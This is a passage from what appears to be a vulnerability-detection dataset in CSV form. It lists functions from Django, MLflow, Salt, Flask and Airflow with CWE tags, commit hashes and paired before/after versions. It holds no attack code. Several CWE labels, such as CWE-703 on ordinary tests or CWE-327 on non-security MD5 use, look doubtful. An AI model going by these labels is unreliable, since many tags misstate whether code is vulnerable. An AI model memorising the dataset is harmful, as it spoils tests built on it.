                                    six.reraise(MultiPartParserError, MultiPartParserError(msg), sys.exc_info()[2])

                            for i, handler in enumerate(handlers):
                                chunk_length = len(chunk)
                                chunk = handler.receive_data_chunk(chunk,
                                                                   counters[i])
                                counters[i] += chunk_length
                                if chunk is None:
                                    # If the chunk received by the handler is None, then don't continue.
                                    break

                    except SkipFile:
                        # Just use up the rest of this file...
                        exhaust(field_stream)
                    else:
                        # Handle file upload completions on next iteration.
                        old_field_name = field_name
                else:
                    # If this is neither a FIELD or a FILE, just exhaust the stream.
                    exhaust(stream)
        except StopUpload as e:
            if not e.connection_reset:
                exhaust(self._input_data)
        else:
            # Make sure that the request data is all fed
            exhaust(self._input_data)

        # Signal that the upload has completed.
        for handler in handlers:
            retval = handler.upload_complete()
            if retval:
                break

        return self._post, self._files"
,UNKNOWN,UNKNOWN,mlflow/store/tracking/file_store.py,1,"def _get_dataset_id(dataset_name: str, dataset_digest: str) -> str:
        md5 = hashlib.md5(dataset_name.encode(""utf-8""), usedforsecurity=False)
        md5.update(dataset_digest.encode(""utf-8""))
        return md5.hexdigest()",CWE-327,mlflow/mlflow,0f9f35f3c73360d4c44a130f2ee3cc39470a6918,"def _get_dataset_id(dataset_name: str, dataset_digest: str) -> str:
        md5 = hashlib.md5(dataset_name.encode(""utf-8""), usedforsecurity=False)
        md5.update(dataset_digest.encode(""utf-8""))
        return md5.hexdigest()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/modeltests/validation/tests.py,0,"def test_correct_url_but_nonexisting_gives_404(self):
        mtv = ModelToValidate(number=10, name='Some Name', url='http://google.com/we-love-microsoft.html')
        self.assertFieldFailsValidationWithMessage(mtv.full_clean, 'url', [u'This URL appears to be a broken link.'])",CWE-Unknown,django/django,21027a05c2b82045c376d5fef1c9f5502238e684,"def test_correct_url_but_nonexisting_gives_404(self):
        mtv = ModelToValidate(number=10, name='Some Name', url='http://google.com/we-love-microsoft.html')
        self.assertFieldFailsValidationWithMessage(mtv.full_clean, 'url', [u'This URL appears to be a broken link.'])"
,UNKNOWN,UNKNOWN,tests/pytests/integration/states/test_file.py,1,"def test_issue_50221(
    salt_master,
    salt_call_cli,
    pillar_tree,
    tmp_path,
    salt_minion,
    ext_pillar_file_tree_root_dir,
):
    expected_content = ""abc\n\n\n""
    target_path = tmp_path / ""issue-50221-target.txt""
    sls_name = ""issue-50221""
    sls_contents = """"""
    {{ pillar[""target-path""] }}:
      file.managed:
        - contents_pillar: issue-50221
    """"""
    sls_tempfile = salt_master.state_tree.base.temp_file(
        ""{}.sls"".format(sls_name), sls_contents
    )
    issue_50221_ext_pillar_tempfile = pytest.helpers.temp_file(
        ""issue-50221"",
        expected_content,
        ext_pillar_file_tree_root_dir / ""hosts"" / salt_minion.id,
    )
    with sls_tempfile, issue_50221_ext_pillar_tempfile:
        ret = salt_call_cli.run(""pillar.get"", ""issue-50221"")
        assert ret.returncode == 0
        assert ret.data
        # The type of new line, ie, `\n` vs `\r\n` is not important
        assert ret.data.replace(""\r\n"", ""\n"") == expected_content
        ret = salt_call_cli.run(
            ""state.apply"", sls_name, pillar={""target-path"": str(target_path)}
        )
        assert ret.returncode == 0
        assert ret.data
        state_run = next(iter(ret.data.values()))
        assert state_run[""result""] is True
        # Check to make sure the file was created
        assert target_path.is_file()
        # The type of new line, ie, `\n` vs `\r\n` is not important
        assert target_path.read_text().replace(""\r\n"", ""\n"") == expected_content",CWE-703,saltstack/salt,b0d45119523e4aa3c81350b178950b2b979f68cd,"def test_issue_50221(
    salt_master,
    salt_call_cli,
    pillar_tree,
    tmp_path,
    salt_minion,
    ext_pillar_file_tree_root_dir,
):
    expected_content = ""abc\n\n\n""
    target_path = tmp_path / ""issue-50221-target.txt""
    sls_name = ""issue-50221""
    sls_contents = """"""
    {{ pillar[""target-path""] }}:
      file.managed:
        - contents_pillar: issue-50221
    """"""
    sls_tempfile = salt_master.state_tree.base.temp_file(
        ""{}.sls"".format(sls_name), sls_contents
    )
    issue_50221_ext_pillar_tempfile = pytest.helpers.temp_file(
        ""issue-50221"",
        expected_content,
        ext_pillar_file_tree_root_dir / ""hosts"" / salt_minion.id,
    )
    with sls_tempfile, issue_50221_ext_pillar_tempfile:
        ret = salt_call_cli.run(""pillar.get"", ""issue-50221"")
        assert ret.returncode == 0
        assert ret.data
        # The type of new line, ie, `\n` vs `\r\n` is not important
        assert ret.data.replace(""\r\n"", ""\n"") == expected_content
        ret = salt_call_cli.run(
            ""state.apply"", sls_name, pillar={""target-path"": str(target_path)}
        )
        assert ret.returncode == 0
        assert ret.data
        state_run = next(iter(ret.data.values()))
        assert state_run[""result""] is True
        # Check to make sure the file was created
        assert target_path.is_file()
        # The type of new line, ie, `\n` vs `\r\n` is not important
        assert target_path.read_text().replace(""\r\n"", ""\n"") == expected_content"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pytests/conftest.py,0,"def ssl_webserver(integration_files_dir, this_txt_file):
    """"""
    spins up an https webserver.
    """"""
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(
        str(integration_files_dir / ""https"" / ""cert.pem""),
        str(integration_files_dir / ""https"" / ""key.pem""),
    )

    with Webserver(root=str(integration_files_dir), ssl_opts=context) as webserver:
        yield webserver",,saltstack/salt,36a4c99a245a571c4e70d4535e1fdec0ad95750a,"def ssl_webserver(integration_files_dir, this_txt_file):
    """"""
    spins up an https webserver.
    """"""
    context = ssl.SSLContext(ssl.PROTOCOL_TLS)
    context.load_cert_chain(
        str(integration_files_dir / ""https"" / ""cert.pem""),
        str(integration_files_dir / ""https"" / ""key.pem""),
    )

    with Webserver(root=str(integration_files_dir), ssl_opts=context) as webserver:
        yield webserver"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/sessions.py,0,"def save_session(self, app, session, response):
        expires = self.get_expiration_time(app, session)
        domain = self.get_cookie_domain(app)
        if not session:
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                       domain=domain)
            return
        session.save_cookie(response, app.session_cookie_name,
                            expires=expires, httponly=True, domain=domain)",,pallets/flask,585bf02ee0d23d020f8a24db645c308d912b62e0,"def save_session(self, app, session, response):
        expires = self.get_expiration_time(app, session)
        domain = self.get_cookie_domain(app)
        if session.modified and not session:
            response.delete_cookie(app.session_cookie_name,
                                   domain=domain)
        else:
            session.save_cookie(response, app.session_cookie_name,
                                expires=expires, httponly=True, domain=domain)"
,UNKNOWN,UNKNOWN,tests/autologging/test_autologging_behaviors_integration.py,1,"def test_autolog_respects_silent_mode(tmpdir):
    # Use file-based experiment storage for this test. Otherwise, concurrent experiment creation in
    # multithreaded contexts may fail for other storage backends (e.g. SQLAlchemy)
    mlflow.set_tracking_uri(str(tmpdir))
    mlflow.set_experiment(""test_experiment"")

    og_showwarning = warnings.showwarning
    stream = StringIO()
    sys.stderr = stream
    logger = logging.getLogger(mlflow.__name__)

    from sklearn import datasets

    iris = datasets.load_iris()

    def train_model():
        import sklearn.utils
        from sklearn import svm
        from sklearn.model_selection import GridSearchCV

        parameters = {""kernel"": (""linear"", ""rbf""), ""C"": [1, 10]}
        svc = svm.SVC()
        with sklearn.utils.parallel_backend(backend=""threading""):
            clf = GridSearchCV(svc, parameters)
            clf.fit(iris.data, iris.target)

        return True

    # Call general and framework-specific autologging APIs to cover a
    # larger surface area for testing purposes
    mlflow.autolog(silent=True)
    mlflow.sklearn.autolog(silent=True, log_input_examples=True)

    executions = []
    with ThreadPoolExecutor(max_workers=50) as executor:
        for _ in range(2):
            e = executor.submit(train_model)
            executions.append(e)

    assert all([e.result() is True for e in executions])
    assert not stream.getvalue()
    # Verify that `warnings.showwarning` was restored to its original value after training
    # and that MLflow event logs are enabled
    assert warnings.showwarning == og_showwarning
    logger.info(""verify that event logs are enabled"")
    assert ""verify that event logs are enabled"" in stream.getvalue()

    stream.truncate(0)

    mlflow.sklearn.autolog(silent=False, log_input_examples=True)

    executions = []
    with ThreadPoolExecutor(max_workers=50) as executor:
        for _ in range(100):
            e = executor.submit(train_model)
            executions.append(e)

    assert all([e.result() is True for e in executions])
    assert stream.getvalue()
    # Verify that `warnings.showwarning` was restored to its original value after training
    # and that MLflow event logs are enabled
    assert warnings.showwarning == og_showwarning
    logger.info(""verify that event logs are enabled"")
    assert ""verify that event logs are enabled"" in stream.getvalue()

    # TODO: Investigate why this test occasionally leaks a run, which causes the
    # `clean_up_leaked_runs` fixture in `tests/conftest.py` to fail.
    while mlflow.active_run():
        mlflow.end_run()",CWE-703,mlflow/mlflow,0b39aca5ad878521f08169aa94f636c70db72b96,"def test_autolog_respects_silent_mode(tmpdir):
    # Use file-based experiment storage for this test. Otherwise, concurrent experiment creation in
    # multithreaded contexts may fail for other storage backends (e.g. SQLAlchemy)
    mlflow.set_tracking_uri(str(tmpdir))
    mlflow.set_experiment(""test_experiment"")

    og_showwarning = warnings.showwarning
    stream = StringIO()
    sys.stderr = stream
    logger = logging.getLogger(mlflow.__name__)

    from sklearn import datasets

    iris = datasets.load_iris()

    def train_model():
        import sklearn.utils
        from sklearn import svm
        from sklearn.model_selection import GridSearchCV

        parameters = {""kernel"": (""linear"", ""rbf""), ""C"": [1, 10]}
        svc = svm.SVC()
        with sklearn.utils.parallel_backend(backend=""threading""):
            clf = GridSearchCV(svc, parameters)
            clf.fit(iris.data, iris.target)

        return True

    # Call general and framework-specific autologging APIs to cover a
    # larger surface area for testing purposes
    mlflow.autolog(silent=True)
    mlflow.sklearn.autolog(silent=True, log_input_examples=True)

    executions = []
    with ThreadPoolExecutor(max_workers=50) as executor:
        for _ in range(2):
            e = executor.submit(train_model)
            executions.append(e)

    assert all([e.result() is True for e in executions])
    assert not stream.getvalue()
    # Verify that `warnings.showwarning` was restored to its original value after training
    # and that MLflow event logs are enabled
    assert warnings.showwarning == og_showwarning
    logger.info(""verify that event logs are enabled"")
    assert ""verify that event logs are enabled"" in stream.getvalue()

    stream.truncate(0)

    mlflow.sklearn.autolog(silent=False, log_input_examples=True)

    executions = []
    with ThreadPoolExecutor(max_workers=50) as executor:
        for _ in range(100):
            e = executor.submit(train_model)
            executions.append(e)

    assert all([e.result() is True for e in executions])
    assert stream.getvalue()
    # Verify that `warnings.showwarning` was restored to its original value after training
    # and that MLflow event logs are enabled
    assert warnings.showwarning == og_showwarning
    logger.info(""verify that event logs are enabled"")
    assert ""verify that event logs are enabled"" in stream.getvalue()

    # TODO: Investigate why this test occasionally leaks a run, which causes the
    # `clean_up_leaked_runs` fixture in `tests/conftest.py` to fail.
    while mlflow.active_run():
        mlflow.end_run()"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/introspection.py,1,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieve any constraints or keys (unique, pk, fk, check, index) across
        one or more columns.
        """"""
        constraints = {}
        # Get the index info
        cursor.execute(""PRAGMA index_list(%s)"" % self.connection.ops.quote_name(table_name))
        for row in cursor.fetchall():
            # Sqlite3 3.8.9+ has 5 columns, however older versions only give 3
            # columns. Discard last 2 columns if there.
            number, index, unique = row[:3]
            # Get the index info for that index
            cursor.execute('PRAGMA index_info(%s)' % self.connection.ops.quote_name(index))
            for index_rank, column_rank, column in cursor.fetchall():
                if index not in constraints:
                    constraints[index] = {
                        ""columns"": [],
                        ""primary_key"": False,
                        ""unique"": bool(unique),
                        ""foreign_key"": False,
                        ""check"": False,
                        ""index"": True,
                    }
                constraints[index]['columns'].append(column)
            # Add type and column orders for indexes
            if constraints[index]['index'] and not constraints[index]['unique']:
                # SQLite doesn't support any index type other than b-tree
                constraints[index]['type'] = Index.suffix
                cursor.execute(
                    ""SELECT sql FROM sqlite_master ""
                    ""WHERE type='index' AND name=%s"" % self.connection.ops.quote_name(index)
                )
                orders = []
                # There would be only 1 row to loop over
                for sql, in cursor.fetchall():
                    order_info = sql.split('(')[-1].split(')')[0].split(',')
                    orders = ['DESC' if info.endswith('DESC') else 'ASC' for info in order_info]
                constraints[index]['orders'] = orders
        # Get the PK
        pk_column = self.get_primary_key_column(cursor, table_name)
        if pk_column:
            # SQLite doesn't actually give a name to the PK constraint,
            # so we invent one. This is fine, as the SQLite backend never
            # deletes PK constraints by name, as you can't delete constraints
            # in SQLite; we remake the table with a new PK instead.
            constraints[""__primary__""] = {
                ""columns"": [pk_column],
                ""primary_key"": True,
                ""unique"": False,  # It's not actually a unique constraint.
                ""foreign_key"": False,
                ""check"": False,
                ""index"": False,
            }
        # Get foreign keys
        cursor.execute('PRAGMA foreign_key_list(%s)' % self.connection.ops.quote_name(table_name))
        for row in cursor.fetchall():
            # Remaining on_update/on_delete/match values are of no interest here
            id_, seq, table, from_, to = row[:5]
            constraints['fk_%d' % id_] = {
                'columns': [from_],
                'primary_key': False,
                'unique': False,
                'foreign_key': (table, to),
                'check': False,
                'index': False,
            }
        return constraints",CWE-89,django/django,169c3b3e07829d9ffa409b6eb5c1094d8ef918a8,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieve any constraints or keys (unique, pk, fk, check, index) across
        one or more columns.
        """"""
        constraints = {}
        # Get the index info
        cursor.execute(""PRAGMA index_list(%s)"" % self.connection.ops.quote_name(table_name))
        for row in cursor.fetchall():
            # Sqlite3 3.8.9+ has 5 columns, however older versions only give 3
            # columns. Discard last 2 columns if there.
            number, index, unique = row[:3]
            # Get the index info for that index
            cursor.execute('PRAGMA index_info(%s)' % self.connection.ops.quote_name(index))
            for index_rank, column_rank, column in cursor.fetchall():
                if index not in constraints:
                    constraints[index] = {
                        ""columns"": [],
                        ""primary_key"": False,
                        ""unique"": bool(unique),
                        ""foreign_key"": False,
                        ""check"": False,
                        ""index"": True,
                    }
                constraints[index]['columns'].append(column)
            # Add type and column orders for indexes
            if constraints[index]['index'] and not constraints[index]['unique']:
                # SQLite doesn't support any index type other than b-tree
                constraints[index]['type'] = Index.suffix
                cursor.execute(
                    ""SELECT sql FROM sqlite_master ""
                    ""WHERE type='index' AND name=%s"" % self.connection.ops.quote_name(index)
                )
                orders = []
                # There would be only 1 row to loop over
                for sql, in cursor.fetchall():
                    order_info = sql.split('(')[-1].split(')')[0].split(',')
                    orders = ['DESC' if info.endswith('DESC') else 'ASC' for info in order_info]
                constraints[index]['orders'] = orders
        # Get the PK
        pk_column = self.get_primary_key_column(cursor, table_name)
        if pk_column:
            # SQLite doesn't actually give a name to the PK constraint,
            # so we invent one. This is fine, as the SQLite backend never
            # deletes PK constraints by name, as you can't delete constraints
            # in SQLite; we remake the table with a new PK instead.
            constraints[""__primary__""] = {
                ""columns"": [pk_column],
                ""primary_key"": True,
                ""unique"": False,  # It's not actually a unique constraint.
                ""foreign_key"": False,
                ""check"": False,
                ""index"": False,
            }
        return constraints"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/tests/geo3d/tests.py,0,"def test_extent(self):
        """"""
        Testing the Extent3D aggregate for 3D models.
        """"""
        self._load_city_data()
        # `SELECT ST_Extent3D(point) FROM geo3d_city3d;`
        ref_extent3d = (-123.305196, -41.315268, 14, 174.783117, 48.462611, 1433)
        extent1 = City3D.objects.aggregate(Extent3D('point'))['point__extent3d']
        extent2 = City3D.objects.extent3d()

        def check_extent3d(extent3d, tol=6):
            for ref_val, ext_val in zip(ref_extent3d, extent3d):
                self.assertAlmostEqual(ref_val, ext_val, tol)

        for e3d in [extent1, extent2]:
            check_extent3d(e3d)",CWE-Unknown,django/django,f2d8027c9aea93750fc4213d9e733c8575e89502,"def test_extent(self):
        """"""
        Testing the Extent3D aggregate for 3D models.
        """"""
        self._load_city_data()
        # `SELECT ST_Extent3D(point) FROM geo3d_city3d;`
        ref_extent3d = (-123.305196, -41.315268, 14,174.783117, 48.462611, 1433)
        extent1 = City3D.objects.aggregate(Extent3D('point'))['point__extent3d']
        extent2 = City3D.objects.extent3d()

        def check_extent3d(extent3d, tol=6):
            for ref_val, ext_val in zip(ref_extent3d, extent3d):
                self.assertAlmostEqual(ref_val, ext_val, tol)

        for e3d in [extent1, extent2]:
            check_extent3d(e3d)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/contenttypes/generic.py,0,"def get_default_prefix(cls):
        opts = cls.model._meta
        return '-'.join((opts.app_label, opts.model_name,
                        cls.ct_field.name, cls.ct_fk_field.name,
        ))",CWE-Unknown,django/django,b11564fd36587b1077bf7d77b62b7879cc08c382,"def get_default_prefix(cls):
        opts = cls.model._meta
        return '-'.join((opts.app_label, opts.model_name,
                        cls.ct_field.name, cls.ct_fk_field.name,
        ))"
,UNKNOWN,UNKNOWN,tests/charts/test_pod_template_file.py,1,"def test_dags_mount(self, dag_values, expected_read_only):
        docs = render_chart(
            values={""dags"": dag_values},
            show_only=[""templates/pod-template-file.yaml""],
            chart_dir=self.temp_chart_dir,
        )

        assert {
            ""mountPath"": ""/opt/airflow/dags"",
            ""name"": ""dags"",
            ""readOnly"": expected_read_only,
        } in jmespath.search(""spec.containers[0].volumeMounts"", docs[0])",CWE-703,apache/airflow,43443eb539058b7b4756455f76b0e883186d9250,"def test_dags_mount(self, dag_values, expected_read_only):
        docs = render_chart(
            values={""dags"": dag_values},
            show_only=[""templates/pod-template-file.yaml""],
            chart_dir=self.temp_chart_dir,
        )

        assert {
            ""mountPath"": ""/opt/airflow/dags"",
            ""name"": ""dags"",
            ""readOnly"": expected_read_only,
        } in jmespath.search(""spec.containers[0].volumeMounts"", docs[0])"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/influx.py,0,"def user_exists(
        name, database, user=None, password=None, host=None, port=None):
    '''
    Checks if a user exists for a InfluxDB database

    name
        User name

    database
        The database to check for the user to exist

    user
        The user to connect as

    password
        The password of the user

    host
        The host to connect to

    port
        The port to connect to

    CLI Example:

    .. code-block:: bash

        salt '*' influxdb.user_exists <name> <database>
        salt '*' influxdb.user_exists <name> <database> <user> <password> <host> <port>
    '''
    users = user_list(database, user, password, host, port)
    if not isinstance(users, list):
        return False
    return name in [u['name'] for u in users]",,saltstack/salt,0241e26c8fdc8b52257a650b1c4ac71122681167,"def user_exists(
        name, database, user=None, password=None, host=None, port=None):
    '''
    Checks if a user exists for a InfluxDB database

    name
        User name

    database
        The database to check for the user to exist

    user
        The user to connect as

    password
        The password of the user

    host
        The host to connect to

    port
        The port to connect to

    CLI Example:

    .. code-block:: bash

        salt '*' influxdb.user_exists <name> <database>
        salt '*' influxdb.user_exists <name> <database> <user> <password> <host> <port>
    '''
    users = user_list(database, user, password, host, port)
    if not isinstance(users, list):
        return False
    return name in [u['username'] for u in users]"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_tasks.py,1,"def test_task_instances(admin_client):
    """"""Test task_instances view.""""""
    resp = admin_client.get(
        f""/object/task_instances?dag_id=example_bash_operator&execution_date={STR_DEFAULT_DATE}"",
        follow_redirects=True,
    )
    assert resp.status_code == 200
    assert resp.json == {
        ""also_run_this"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""also_run_this"",
            ""task_id"": ""also_run_this"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_after_loop"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""run_after_loop"",
            ""task_id"": ""run_after_loop"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_this_last"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""EmptyOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""run_this_last"",
            ""task_id"": ""run_this_last"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_0"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_0"",
            ""task_id"": ""runme_0"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_1"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_1"",
            ""task_id"": ""runme_1"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_2"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_2"",
            ""task_id"": ""runme_2"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""this_will_skip"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""this_will_skip"",
            ""task_id"": ""this_will_skip"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
    }",CWE-703,apache/airflow,3938f71dfae21c84a3518625543a28ad02edf641,"def test_task_instances(admin_client):
    """"""Test task_instances view.""""""
    resp = admin_client.get(
        f""/object/task_instances?dag_id=example_bash_operator&execution_date={STR_DEFAULT_DATE}"",
        follow_redirects=True,
    )
    assert resp.status_code == 200
    assert resp.json == {
        ""also_run_this"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""also_run_this"",
            ""task_id"": ""also_run_this"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_after_loop"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""run_after_loop"",
            ""task_id"": ""run_after_loop"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_this_last"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""EmptyOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""run_this_last"",
            ""task_id"": ""run_this_last"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_0"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
